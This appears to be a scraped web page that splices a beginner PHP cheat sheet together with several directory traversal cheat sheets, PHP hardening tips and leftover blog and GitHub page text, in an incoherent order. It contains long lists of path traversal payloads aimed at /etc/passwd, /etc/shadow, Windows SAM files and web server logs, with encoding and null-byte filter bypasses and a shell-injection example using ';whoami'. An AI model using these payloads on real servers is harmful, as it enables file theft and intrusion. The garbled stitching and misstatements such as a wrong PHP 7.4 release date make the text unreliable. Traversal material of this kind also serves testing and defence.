In Linux, this delimiter is used to execute multiple commands inline. The consequence is that it can only be accessed within that function. The programming language is relatively easy to learn for beginners, but it also offers a lot of advanced possibilities for veteran programmers. An important note: Like all other PHP commands, functions echo and print are not case sensitive. The latest version, PHP 7.4, came out in December 2021. Sometimes you encounter a WAF which remove the ../ characters from the strings, just duplicate them. e.g: Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini. Am using this plugin for more than one month, but recent zap tool reports show path traversal attack is possible. Its possible to create your own PHP functions but there also many built into the programming language. Our PHP cheat sheet aims to help anyone trying to get proficient in or improve their knowledge of PHP. Code Revisions 1 Stars 5 Forks 3. Consequently, you can execute PHP on a page: Like many other languages, PHP also has the ability to add comments. This is a really useful source of information. Directory Traversal Directory traversal (path traversal) refers to an attack that affects the file system. I have already enabled the necessary options to prevent path traversal in the plugin. Directory Traversal Cheat Sheet - Penetration Testing Lab. Directory-Traversal-Cheat-Sheet Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. We can use the .. characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter. By GgiaEsquema-proxy-internet.svg: Randomicc [CC BY-SA 3.0], from Wikimedia Commons. A tag already exists with the provided branch name. Most of the filters check if the parameter contains some kind of path traversal sequence, I like to call them the lazy filters (well obviously!!). In PHP, you have several ways for that: A common example of the use of comments is WordPress theme headers: In PHP, data is commonly output using echo or print. If an RCE vulnerability exists, the attacker may inject code in the application back-end language and the application executes this code. It is a work in progress and is not finished yet. SleepyLctl / Linux Path Traversal Cheatsheet. Selects one of several blocks of code to execute. Directory traversal (path traversal) refers to an attack that affects the file system. It covers the most important PHP concepts and functions and acts as a quick reference guide for those using PHP for web development. 1. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); Enter your email address to follow this blog and receive notifications of new posts by email. A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing traverse to parent directory are passed through to the file APIs. Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. The advantage of this is that youre able to bookmark the information. To do anything with variables, you first need to define them. I've got you covered Know any more good files to look for? PHP also comes with a number of default variables called superglobals. Lets clear the fuss and understand what Local File Inclusion actually is and then we will jump to Remote file Inclusion. This is often important for security reasons, for example, to keep confidential information safe. This may even let the attacker get full control of the web server. Many platforms that are based on PHP work with a MySQL database in the background. What makes it even better is the availability to actually download the cheat sheet. The image files themselves are stored on disk in the location /var/www/images/. In the above case, the application reads from the following file path: /var/www/images/cutekitty18.png. There is a small part for Windows servers as well.I will edit the post and I will add more in the near future. Change), You are commenting using your Facebook account. The most important issue when it comes to web forms is security. For that, PHP offers a number of filters such as FILTER_VALIDATE_EMAIL to make sure a submitted email address has the right format. If you need to have access to specific files, use a whitelist instead. randomwebsite111.com/loadImage?filename=\windows\win.ini. You can also create a whitelist of accepted commands/arguments. In this example, a script uses the exec() function to execute the ping command. In the case of PHP code injection attacks, an attacker takes advantage of a script that contains system functions/calls to read or execute malicious code on a remote server. We explained, how important input validation is, how bad it is to include untrusted data (user input) directly in an SQL query, and how prepared statements help you avoid SQL Injection attacks. In PHP there are several ways to define strings: Note: Strings can contain variables, arrays, and objects. OMG! Directory Traversal Examples File path traversal, validation of file extension with null byte bypass; References. http://nginx-server/../../ will return a 400 bad request. Is this just for Unix? Note that the output of realpath will not have any "virtual directories" such as . A directory traversal (or path traversal) attack exploits insufficient security validation or sanitization of user-supplied file names, such that characters representing "traverse to parent directory" are passed through to the operating system's file system API. If not set up properly, they are vulnerable to cross-scripting attacks. Constants are useful since they allow you to change the value for an entire script in one place instead of having to replace every instance of it. Change), You are commenting using your Twitter account. To return an image, the application appends the requested filename to this base directory and uses a filesystem API to read the contents of the file. (LogOut/ Because in order to get them to work the developer must have edited the php.ini configuration file. In both cases, these vulnerabilities are also caused by unsanitized user data. Website Building Guides for Intermediates. Fork 3. For instance, Windows uses the backslash character as a directory separator and the root directory is a drive letter (often C:\). Intelligent attackers always find ways to bypass restrictions for user-supplied input. We hope you can put it to good use. Thank you. Change). You might be able to use various non-standard encodings: If an application requires that the user-supplied filename must end with an expected file extension, such as .png, then it might be possible to use a null byte to effectively terminate the file path before the required extension. However, the most common and generic way to do it is by using the basename() and realpath() functions. refers to the current directory and two dots (..) the parent directory. The first is the name, the second the constants value and the third parameter whether its name should be case sensitive (the default is false). Filters are used to validate and filter data that is coming from insecure sources. However, this does not protect your application from local file inclusion attacks. You can bypass it using a backslash character. That means that when you write ECHO, EcHo, eCHO or any other variation, they will continue to work. What about Windows servers? This type goes through a block of code a specified number of times: A loop using foreach runs through each element in an array: Loops through a block of code as long as a specified condition is true. A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs. (LogOut/ Array keys can either be strings or integers. To bypass this behaviour just add forward slashes in front of the url: Always existing file in recent Windows machine. Use parentheses ( ) to apply quantifiers to entire patterns. PHP also offers tools to thwart those attacks, namely: You will notice that we have encountered all of these functions in the previous section on strings. This causes the application to read from the following file path: On Windows, both ../ and ..\ are valid directory traversal sequences, and an equivalent attack to retrieve a standard operating system file would be: The most effective way to prevent file path traversal vulnerabilities is to avoid passing user-supplied input to filesystem APIs altogether. You can also create a whitelist of accepted commands/arguments. Ideal to test path traversal but nothing much interesting inside, Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread), The following log files are controllable and can be included with an evil payload to achieve a command execution, dotdotpwn - https://github.com/wireghoul/dotdotpwn, https://github.com/soffensive/windowsblindread, CWE-40: Path Traversal: \UNC\share\name\ (Windows UNC Share) - CWE Mitre - December 27, 2018, NGINX may be protecting your applications from traversal attacks without you even knowing. It also limits the amount of data that can be sent in ca 2000 characters. Glad you like it, Skyon! It exploits a security misconfiguration on a web server, to access data stored outside the server's root directory. The following characters are escaped by including a backslash before them: &#;`|*?~<>^()[]{}$\, \x0A, and \xFF. After that, create a simple if/else statement to either send the submitted data or output an error message. According to Wikipedia: "A directory traversal (or path traversal) consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.". Thank you!! An attacker can inject a Windows UNC share (\UNC\share\name) into a software system to potentially redirect access to an unintended location or arbitrary file. In the following example, the script passes an unvalidated/unsanitized HTTP request value directly to the include() PHP function. As mentioned, a common example is user input. Finally, its also possible to add static in front of a local variable. How to avoid directory traversal vulnerabilities in PHP? NGINX in certain configurations and ALB can block traversal attacks in the route, For example: The programming language is among the most popular in web development. This might include application code and data, credentials for back-end systems, and sensitive operating system files. It allows an attacker to pass multiple commands to the function using a semicolon. 16 bits Unicode encoding; UTF-8 Unicode encoding Thanks so much. Below are some techniques I've used in the past to gain a shell on systems with vulnerable LFI scripts exposed. Created 5 years ago. Support HackTricks and get benefits!Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). What is a directory traversal attack? Besides the standard assignment operator (=), you also have the following options: You can use the @ sign to prevent expressions from generating error messages. This makes the data invisible to third parties, as it is sent in the HTTP body. For example, the title of this blog post might be displayed on a page like this: The two commands echo and print are pretty much the same. That means all variable names and their values are contained in the page address. This is how they work. If it finds any dots and slashes in the input, it either rejects it or sanitizes it. The escapeshellarg() function adds single quotes around a string and escapes any existing single quotes. In contrast to variables their value can not be changed, its locked in. If that isn't possible for the required functionality, then the validation should verify that the input contains only permitted content, such as purely alphanumeric characters. Your email address will not be published. We use cookies to improve your browsing experience and serve personalized content. Finally, for the times that things dont go smoothly and you need to find out where the problem lies, PHP also offers functionality for errors. I've got you covered Know any more good files to look for? A remote file inclusion vulnerability lets the attacker execute a script on the target-machine even though it is not even hosted on that machine. For example, escapeshellcmd("ping -c 4 www.google.com;ls -lah") = ping -c 4 www.google.com\;ls -lah. In many cases, an attacker may read any file accessible for the user that is running the web server (usually www-data). To review, open the file in an editor that reveals hidden Unicode characters. Such files usually reside outside of the root directory of a web application or outside of a directory to which the user is restricted (for example, /var/www). Example of some simple Java code to validate the canonical path of a file based on user input: https://www.owasp.org/index.php/Path_Traversal. As you will learn further on, that doesnt apply to everything. Some notable files to look for on Windows are: C:\Windows\repair\system. June 29, 2012. With POST, there are no limits to the amount of information you can send. PHP has several different ones. Of course, PHP functions for date and time should not be missing from any PHP cheat sheet. filename=../../../etc/passwd%00.png. PHP is a server-side language, meaning that it executes on the server, not in the users browser (as opposed to, for example, JavaScript). By using our site, If thats not enough for you, we also have cheat sheets for HTML, CSS, and jQuery as well as the aforementionedJavaScript. - caw Mar 13, 2017 at 2:06 Add a comment 3 Answers Sorted by: 2 It is indeed way too simplistic. C:\Windows\repair\SAM. Unsubscribe anytime. Can i access file /etc/sysconfig/iptables ? or .. . If the server has badly configured file permissions (very common), this attack can be escalated further. PHP Wrapper expect:// LFI The simplest way to avoid directory traversal vulnerabilities in PHP is to use a combination of basename() and realpath() functions. Let me know! If/else statements are similar to loops. This means that the script will try to include whatever path/filename is passed as a parameter: For example, if you pass /etc/passwd as the argument, this file is readable for all users. If it is considered unavoidable to pass user-supplied input to filesystem APIs, then two layers of defense should be used together to prevent attacks: This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. In both cases, these vulnerabilities are also caused by unsanitized user data. Enterprises commonly rely on vulnerability scanning and manual penetration testing techniques to detect directory traversal vulnerabilities. Thanks for the kind words. How to avoid code injection vulnerabilities in PHP. Aside from that, there are a whole bunch of functions to work with variables: Aside from variables, you can also define constants which also store values. For that reason, its important to be familiar with the functions that allow you to work with them. These are pieces of code that store different kinds of information. PHP will attempt to execute the contents of the backticks as a shell command. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Executes different code snippets for more than two conditions. Functions are shortcuts for commonly used chunks of code. No spam. Fill in your details below or click an icon to log in: You are commenting using your WordPress.com account. This can be global, local and static. Summary. Either way, our mission fails. The only difference is that the former has no return value and can take several parameters, while the latter has a return value of 1 and can only take one argument. A function will be executed by a call to the function. Your email address will not be published. This is a draft cheat sheet. Are you sure you want to create this branch? Especially if you want to dive deeper into the technical aspects of creating your own website. st is a popular JavaScript library used for serving static files. Operators allow you to perform operations with values, arrays, and variables. In the second part, we focus on two other common and dangerous PHP vulnerabilities and attack types: directory traversal and code injections attacks. Directory traversal (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. Local File Inclusion (LFI): The sever loads a local file.The vulnerability occurs . We sincerely hope you have found it a useful resource. you consent to the use of cookies. A function is a block of statements that can be used repeatedly in a program. Your Information will be kept private . Peter. Bookmark it as a reference or use it as a springboard to learn more about the programming language. The programming language is among the most popular in web development. For that reason, GET is not suitable for sensitive information such as passwords. Summary Tools Basic exploitation 16 bits Unicode encoding UTF-8 Unicode encoding Bypass "../" replaced by "" There are several different types. PHP offers a number of filter functions and constants for that: PHP also has the functionality to manipulate data sent to the browser from the webserver. Instead, you create them once and use the shortcuts when you need them. Required fields are marked *. Thats because they are accessible from anywhere, regardless of scope. Any variable declared outside of a function is available globally. If such a vulnerability exists, an attacker may trick a web application into reading and processing the contents of files outside of the document root directory of the application or the web server. Both are able to catch values from input fields, however, their usage differs. Big thanks for this Doc. Variables can be available in different scopes, meaning the part of a script you can access them. Aside from that, it also has advanced functionality and is therefore preferred by developers. That means it can be accessed outside of a function as well. For example, if you pass www.google.com;whoami, the script returns the following output: There are two functions that you can use in PHP applications and that can help harden command line calls such as exec(), shell_exec(), passthru(), and system(): escapeshellcmd() and escapeshellarg(). Aside from that, PHP is able to define required fields (you cant submit the form without filling them out), display error messages if someinformation is missing and to validate data. A way around this is to prepend a local variable with global. In both cases, the variable becomes part of the $GLOBALS variable mentioned below. Star 5. In these attacks, cybercriminals gain unwanted access to sensitive files or system directories, potentially resulting in a complete system compromise. Php directory traversal cheat sheet. Directory traversals are one of the most common SAP cybersecurity attacks, accounting for 20% of the security notes published by SAP. The code below <Files ".user.ini"> denies access to anybody attempting to visit your .user.ini file directly. That way, it becomes part of the global scope. Ideally, the validation should compare against a whitelist of permitted values. In php this is disabled by default (allow_url_include). That way, it wont be deleted after its function is executed and can be reused. For example, a single dot (.) During a directory traversal attack, the attacker will submit a filename containing characters that will allow them to access files outside of the intended directory. They allow you to run through the same block of code under different circumstances. (Don't miss our comparison of the three .) A path traversal attack is also known as "directory traversal", "dot-dot-slash", "directory climbing", "backtracking" and local file inclusion. So if the real user path does not start with the real base path, it is trying to do a traversal. Directory Traversal is a vulnerability where an application takes in user input and uses it in a directory path. It should verify that the canonicalized path starts with the expected base directory. If you have any addition to the PHP cheat sheet, please dont hesitate to let us know in the comments section below! Consequently, the user doesnt see the code itself but only the result. Directory traversal. The next step is to check the submitted data for validity. PHP supports one execution operator, which is `` (backticks). log, ../../../../../../../var/log/apache/access_log, ../../../../../../../var/log/apache2/access_log, ../../../../../../../var/log/apache/access.log, ../../../../../../../var/log/apache2/access.log, ../../../../../../../var/www/logs/error_log, ../../../../../../../var/www/logs/error.log, ../../../../../../../usr/local/apache/logs/error_l og, ../../../../../../../usr/local/apache/logs/error.l og, ../../../../../../../var/log/apache/error_log, ../../../../../../../var/log/apache2/error_log, ../../../../../../../var/log/apache/error.log, ../../../../../../../var/log/apache2/error.log, /etc/apache2/vhosts.d/default_vhost.include. Directory traversal, also called path traversal, is a vulnerability that allows attackers to break out of a web server's root directory and access other locations in the server's file system. By using our content, products & services you agree to our, Variables need to start with a letter or underscore (, PHP variables are case sensitive, that means, If your variable consists of more than one word either write it. websitesetup.org is a free resource site for helping people to create, customize and improve their websites. The escapeshellcmd() function escapes any characters in a string that might be used to execute arbitrary commands. Download ZIP. Really appreciate this resource. Keep doing great work. In PHP, you denote a variable using the $ sign and assign its value using =. We are starting off with the basics how to declare PHP in a file, write comments, and output data. Keep in mind that it also means that the information is visible to everyone. As a result, the entire string is being passed as a single argument to a shell command. Hope you can put it to good use. However, the host is dynamic (passed via an HTTP GET request): Passing www.google.com returns the output of the ping google.com command: This snippet has a code injection vulnerability. Consider the following URL: randomwebsite111.com/loadImage?filename=cutekitty18.png They cal also be used to select parts of the pattern to be used as a match. They are also global in nature, meaning they can be accessed from anywhere. Basically, realpath () will resolve the provided path to an actual hard physical path (resolving symlinks, .., ., /, //, etc). The basename() function returns only the filename part of a given path/filename: basename("../../../etc/passwd") = passwd. To avoid code injection, we recommend that you disable exec(), shell_exec(), passthru(), and system() functions in PHP configuration unless it is absolutely necessary to use them. This is a whole book chapter. Its in the heart of WordPress, the worlds most popular CMS, and also forms the base of other platforms like Joomla and Drupal. The application implements no defenses against directory traversal attacks, so an attacker can request the following URL to retrieve an arbitrary file from the server's filesystem: randomwebsite111.com/loadImage?filename=../../../etc/passwd. Aside from that, PHP is an Open Source and thus free to use. You might be able to use nested traversal sequences, such as .// or ./. GET collects data via URL parameters. POST, on the other hand, uses the HTTP POST method to pass on variables. In the first part of this guide, we focused on the most common and most dangerous (according to OWASP.org) security issues in PHP code: SQL Injection vulnerabilities. A typical example: Variables can take on different types of data: There is no need to declare PHP variables in a certain way. In its early version, it was vulnerable to directory traversal, which actually posed a serious security threat for the entire NPM ecosystem. Path Traversal Cheat Sheet: Linux Author: HollyGraceful Published: 06 August 2021 Got a path/directory traversal or file disclosure vulnerability on a Linux-server and need to know some interesting files to hunt for? Tools; Basic exploitation. Twice a month. This vulnerability lets the attacker gain access to sensitive files on the server, and it might also lead to gaining a shell. Directory traversal on other operating systems works in a similar manner, but there are slight differences involved. They are statements for running code only under certain circumstances. These are not single-quotes! Our PHP cheat sheet aims to help anyone trying to get proficient in or improve their knowledge of PHP. Knowing your way around PHP is a good idea for anyone interested in web design and web development. USING URL ENCODING. Path Traversal Cheat Sheet: Windows; Directory traversal attack - Wikipedia; CWE-40: Path Traversal: '\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018; NGINX may be protecting your applications from traversal attacks without you even knowing In PHP there are different types of arrays: Arrays in PHP are created with the array() function. A directory or path traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs. This offers the end-user the opportunity to easily reference it if/when they need. (LogOut/ When you include them in the script that collects the form data, you can effectively strip harmful scripts of the characters they need for functioning, rendering them unusable. This is important for annotating your code for human readers but in a way that the browser doesnt try to execute it. The diff below is from the commit, which added the sanitization to catch directory traversal attempts with URL encoding. Quick explanation: the first part is the function of a name (reminder: function names are not case sensitive). They automatically take on the type of data they contain. Local File Inclusion (LFI) Local file inclusion means unauthorized access to files on the system. Aside from user-defined constants, there also a number of default PHP constants: Arrays are a way to organize several values in a single variable so that they can be used together. Path Traversal Cheat Sheet: Windows. 2013 - 2022 WebsiteSetup.org: How to Make a Website. Let's see what makes directory traversal attacks possible and what you can do to prevent them. A successful directory traversal attempt enables attackers to view restricted files and sometimes also execute commands on the targeted server. For example, you can simply define variables for your form fields and use the empty() function to check if they have values. PHP scripts produce HTML which is then passed on to the browser for interpretation. Similarly to most other programming languages, PHP lets you work with variables and constants. Directory traversal vulnerabilities can exist in a variety of programming languages, including Python, PHP, Apache, ColdFusion, Perl and more. For example: Path Traversal aka Directory Traversal As mentioned above Traverse the filesystem directory structure to disclose sensitive information about the system that can help you gain a shell, usernames / passwords etc. (Dont miss our comparison of the three.). The application should validate the user input before processing it. Let me know! As we have settled earlier, they are also a valid value for variables. Returns 1 if the pattern was found in the string and 0 if not, Returns the number of times the pattern was found in the string, which may also be 0, Returns a new string where matched patterns have been replaced with another string, Performs a multiline search (patterns that search for the beginning or end of a string will match the beginning or end of each line), Enables correct matching of UTF-8 encoded patterns, [abc] Find one character from the options between the brackets, [^abc] Find any character NOT between the brackets, [0-9] Find one character from the range 0 to 9, Find a match for any one of the patterns separated by | as in: cat|dog|fish, Finds a match as the beginning of a string as in: ^Hello, Finds a match at the end of the string as in: World$, Find a match at the beginning of a word like this: \bWORD, or at the end of a word like this: WORD\b, Find the Unicode character specified by the hexadecimal number xxxx, Matches any string that contains at least one n, Matches any string that contains zero or more occurrences of n, Matches any string that contains zero or one occurrences of n, Matches any string that contains a sequence of X ns, Matches any string that contains a sequence of X to Y ns, Matches any string that contains a sequence of at least X ns. We have already talked about the necessary tools to do so. Loops are very common in programming. PHP offers a multitude of default functions for working with arrays: In programming, speech strings are nothing more than text. by Administrator.In General Lab Notes.3 Comments on Directory Traversal CheatSheet, ../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../../../../../../../../../etc/passwd, ../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00, ../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00, -, ../../../../../../etc/passwd&=%3C%3C%3C%3C, ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd, ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow, ..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed, ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini, /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd, ../../../../../../../etc/httpd/logs/acces_log, ../../../../../../../etc/httpd/logs/acces.log, ../../../../../../../etc/httpd/logs/error_log, ../../../../../../../etc/httpd/logs/error.log, ../../../../../../../var/www/logs/access_log, ../../../../../../../var/www/logs/access.log, ../../../../../../../usr/local/apache/logs/access_ log, ../../../../../../../usr/local/apache/logs/access. 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